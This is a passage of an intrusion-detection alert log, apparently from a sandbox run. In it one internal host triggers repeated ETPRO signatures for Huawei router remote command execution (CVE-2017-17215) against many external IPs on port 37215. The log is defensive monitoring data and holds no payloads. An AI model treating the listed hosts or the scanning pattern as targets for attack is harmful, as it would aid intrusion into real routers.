Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.93.52

Timestamp:	02/19/24-18:38:05.925670
SID:	2829579
Source Port:	41286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.27.46

Timestamp:	02/19/24-18:36:28.359998
SID:	2829579
Source Port:	48696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.169.88

Timestamp:	02/19/24-18:36:44.376651
SID:	2835222
Source Port:	34424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.29.69

Timestamp:	02/19/24-18:37:15.416017
SID:	2829579
Source Port:	35624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.5.115

Timestamp:	02/19/24-18:37:28.096531
SID:	2835222
Source Port:	38278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 222.185.234.99

Timestamp:	02/19/24-18:37:57.960133
SID:	2829579
Source Port:	51754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.28.116

Timestamp:	02/19/24-18:36:28.361258
SID:	2829579
Source Port:	46076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.79.4

Timestamp:	02/19/24-18:38:17.312817
SID:	2835222
Source Port:	35330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.182.50

Timestamp:	02/19/24-18:37:27.880770
SID:	2835222
Source Port:	44344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.187.104.4

Timestamp:	02/19/24-18:38:01.391035
SID:	2829579
Source Port:	46798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.105.24

Timestamp:	02/19/24-18:38:08.787946
SID:	2835222
Source Port:	54942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.117.198

Timestamp:	02/19/24-18:37:48.304695
SID:	2835222
Source Port:	41738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.253.45.96

Timestamp:	02/19/24-18:37:56.514447
SID:	2829579
Source Port:	60770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 138.36.244.85

Timestamp:	02/19/24-18:38:11.600695
SID:	2835222
Source Port:	49204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.128.73

Timestamp:	02/19/24-18:36:44.376456
SID:	2835222
Source Port:	60644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.115.237.84

Timestamp:	02/19/24-18:38:16.357025
SID:	2829579
Source Port:	55928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.33.253

Timestamp:	02/19/24-18:36:22.313212
SID:	2829579
Source Port:	48622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.169.88

Timestamp:	02/19/24-18:36:44.376651
SID:	2829579
Source Port:	34424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.33.250.87

Timestamp:	02/19/24-18:37:48.992019
SID:	2835222
Source Port:	55940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.50.125

Timestamp:	02/19/24-18:36:28.360862
SID:	2835222
Source Port:	34436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 222.185.234.99

Timestamp:	02/19/24-18:37:57.960133
SID:	2835222
Source Port:	51754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.207.199

Timestamp:	02/19/24-18:38:20.942973
SID:	2835222
Source Port:	55058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.221.11

Timestamp:	02/19/24-18:36:44.376261
SID:	2829579
Source Port:	38350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.33.248.121

Timestamp:	02/19/24-18:37:41.312592
SID:	2829579
Source Port:	43458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.126.229.67

Timestamp:	02/19/24-18:36:39.594608
SID:	2835222
Source Port:	39466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.254.96.69

Timestamp:	02/19/24-18:38:03.039195
SID:	2835222
Source Port:	41792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.190.38

Timestamp:	02/19/24-18:37:48.124470
SID:	2829579
Source Port:	51252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.18.154

Timestamp:	02/19/24-18:37:28.889302
SID:	2835222
Source Port:	36942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.154.146

Timestamp:	02/19/24-18:38:08.990990
SID:	2835222
Source Port:	50290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.117.125

Timestamp:	02/19/24-18:37:15.415813
SID:	2835222
Source Port:	52430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.13.122

Timestamp:	02/19/24-18:38:01.123394
SID:	2829579
Source Port:	37826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.159.153

Timestamp:	02/19/24-18:36:39.746015
SID:	2835222
Source Port:	33634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.195.120.18

Timestamp:	02/19/24-18:36:29.049080
SID:	2835222
Source Port:	53148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.31.62

Timestamp:	02/19/24-18:36:23.331824
SID:	2835222
Source Port:	47188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.146.241

Timestamp:	02/19/24-18:38:06.098654
SID:	2835222
Source Port:	53036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.8.97

Timestamp:	02/19/24-18:36:46.833777
SID:	2829579
Source Port:	54680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 121.199.82.199

Timestamp:	02/19/24-18:37:48.046854
SID:	2835222
Source Port:	43996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.105.24

Timestamp:	02/19/24-18:38:08.787946
SID:	2829579
Source Port:	54942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.224.59

Timestamp:	02/19/24-18:38:08.988805
SID:	2829579
Source Port:	37850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.100.85

Timestamp:	02/19/24-18:36:28.361893
SID:	2829579
Source Port:	46318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.68.80

Timestamp:	02/19/24-18:36:23.332331
SID:	2835222
Source Port:	57150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.132.238

Timestamp:	02/19/24-18:38:08.990679
SID:	2829579
Source Port:	49446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.143.94

Timestamp:	02/19/24-18:37:40.432250
SID:	2829579
Source Port:	46782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.207.204

Timestamp:	02/19/24-18:37:32.164490
SID:	2835222
Source Port:	43766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.213.246

Timestamp:	02/19/24-18:37:01.125715
SID:	2835222
Source Port:	33434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.43.233.31

Timestamp:	02/19/24-18:37:47.987549
SID:	2829579
Source Port:	36768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.236.4

Timestamp:	02/19/24-18:38:17.236251
SID:	2835222
Source Port:	54980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.75.116

Timestamp:	02/19/24-18:38:17.236101
SID:	2829579
Source Port:	53366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.129.81

Timestamp:	02/19/24-18:38:06.104058
SID:	2829579
Source Port:	39678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.63.150

Timestamp:	02/19/24-18:36:28.359811
SID:	2835222
Source Port:	46302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.54.85

Timestamp:	02/19/24-18:38:01.391333
SID:	2829579
Source Port:	35326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.100.28

Timestamp:	02/19/24-18:38:01.112819
SID:	2829579
Source Port:	38754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.16.58

Timestamp:	02/19/24-18:38:20.961741
SID:	2835222
Source Port:	38620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.68.54

Timestamp:	02/19/24-18:37:28.048421
SID:	2835222
Source Port:	54584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.197.189

Timestamp:	02/19/24-18:38:20.957301
SID:	2829579
Source Port:	52842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.58.107

Timestamp:	02/19/24-18:37:31.122851
SID:	2829579
Source Port:	51564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.225.214

Timestamp:	02/19/24-18:37:27.874343
SID:	2835222
Source Port:	36500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.2.253

Timestamp:	02/19/24-18:36:22.313115
SID:	2835222
Source Port:	52530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.240.15

Timestamp:	02/19/24-18:38:06.098757
SID:	2835222
Source Port:	53256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.118.244

Timestamp:	02/19/24-18:36:46.840016
SID:	2829579
Source Port:	56116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.16.14.162

Timestamp:	02/19/24-18:37:55.352225
SID:	2835222
Source Port:	38898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.56.197.185

Timestamp:	02/19/24-18:36:23.804631
SID:	2829579
Source Port:	41394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.7.103

Timestamp:	02/19/24-18:38:20.943210
SID:	2829579
Source Port:	51578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.48.151

Timestamp:	02/19/24-18:36:46.835783
SID:	2835222
Source Port:	45800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.136.14

Timestamp:	02/19/24-18:38:20.945466
SID:	2835222
Source Port:	40646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.225.65

Timestamp:	02/19/24-18:36:28.360445
SID:	2835222
Source Port:	39312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.247.16.223

Timestamp:	02/19/24-18:37:59.788812
SID:	2829579
Source Port:	60034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.247.31.246

Timestamp:	02/19/24-18:38:05.920743
SID:	2835222
Source Port:	55276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.254.106.210

Timestamp:	02/19/24-18:37:42.400625
SID:	2835222
Source Port:	44424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.193.242

Timestamp:	02/19/24-18:37:15.415350
SID:	2835222
Source Port:	45638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.194.157

Timestamp:	02/19/24-18:38:01.393604
SID:	2829579
Source Port:	57802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.126.125

Timestamp:	02/19/24-18:37:48.304959
SID:	2829579
Source Port:	43724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.222.118

Timestamp:	02/19/24-18:38:20.943546
SID:	2835222
Source Port:	51258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.44.136.200

Timestamp:	02/19/24-18:36:44.185700
SID:	2835222
Source Port:	59756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.127.161.223

Timestamp:	02/19/24-18:36:39.595552
SID:	2835222
Source Port:	48468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.157.90

Timestamp:	02/19/24-18:36:23.331634
SID:	2835222
Source Port:	46744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.241.12.155

Timestamp:	02/19/24-18:36:49.866279
SID:	2829579
Source Port:	52936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.61.67

Timestamp:	02/19/24-18:36:23.332128
SID:	2829579
Source Port:	51680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.195.116.192

Timestamp:	02/19/24-18:37:26.604554
SID:	2829579
Source Port:	39034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.77.135.31

Timestamp:	02/19/24-18:37:59.573796
SID:	2829579
Source Port:	44222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 186.129.147.242

Timestamp:	02/19/24-18:36:39.433148
SID:	2835222
Source Port:	42770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.228.54

Timestamp:	02/19/24-18:36:44.376420
SID:	2829579
Source Port:	51738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.63.1

Timestamp:	02/19/24-18:38:17.312698
SID:	2829579
Source Port:	45180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.240.143

Timestamp:	02/19/24-18:38:20.944064
SID:	2835222
Source Port:	50494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.187.105.98

Timestamp:	02/19/24-18:38:01.392697
SID:	2835222
Source Port:	54212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.117.124

Timestamp:	02/19/24-18:36:23.332037
SID:	2835222
Source Port:	48858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.114.15.2

Timestamp:	02/19/24-18:37:01.248254
SID:	2835222
Source Port:	48062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.144.36

Timestamp:	02/19/24-18:38:06.098386
SID:	2835222
Source Port:	47902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.225.103

Timestamp:	02/19/24-18:38:20.957022
SID:	2835222
Source Port:	40540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.72.255.211

Timestamp:	02/19/24-18:38:03.199806
SID:	2835222
Source Port:	45930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.188.41

Timestamp:	02/19/24-18:36:23.332224
SID:	2829579
Source Port:	37518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.178.194

Timestamp:	02/19/24-18:37:24.711508
SID:	2829579
Source Port:	49738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.70.165

Timestamp:	02/19/24-18:36:23.331728
SID:	2835222
Source Port:	59322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.25.194

Timestamp:	02/19/24-18:38:20.943888
SID:	2835222
Source Port:	46086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.144.8

Timestamp:	02/19/24-18:37:48.304431
SID:	2829579
Source Port:	39586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.40.55

Timestamp:	02/19/24-18:37:48.304598
SID:	2829579
Source Port:	55334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.174.145

Timestamp:	02/19/24-18:38:17.234988
SID:	2829579
Source Port:	37350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.185.147

Timestamp:	02/19/24-18:37:02.129826
SID:	2829579
Source Port:	37658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.125.57.190

Timestamp:	02/19/24-18:37:24.772454
SID:	2835222
Source Port:	54812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.60.40.19

Timestamp:	02/19/24-18:37:48.744971
SID:	2829579
Source Port:	36046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.77.121

Timestamp:	02/19/24-18:37:01.158350
SID:	2829579
Source Port:	48274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.221.50

Timestamp:	02/19/24-18:38:01.392101
SID:	2835222
Source Port:	34002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.247.23.82

Timestamp:	02/19/24-18:37:59.789214
SID:	2829579
Source Port:	46088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.237.232

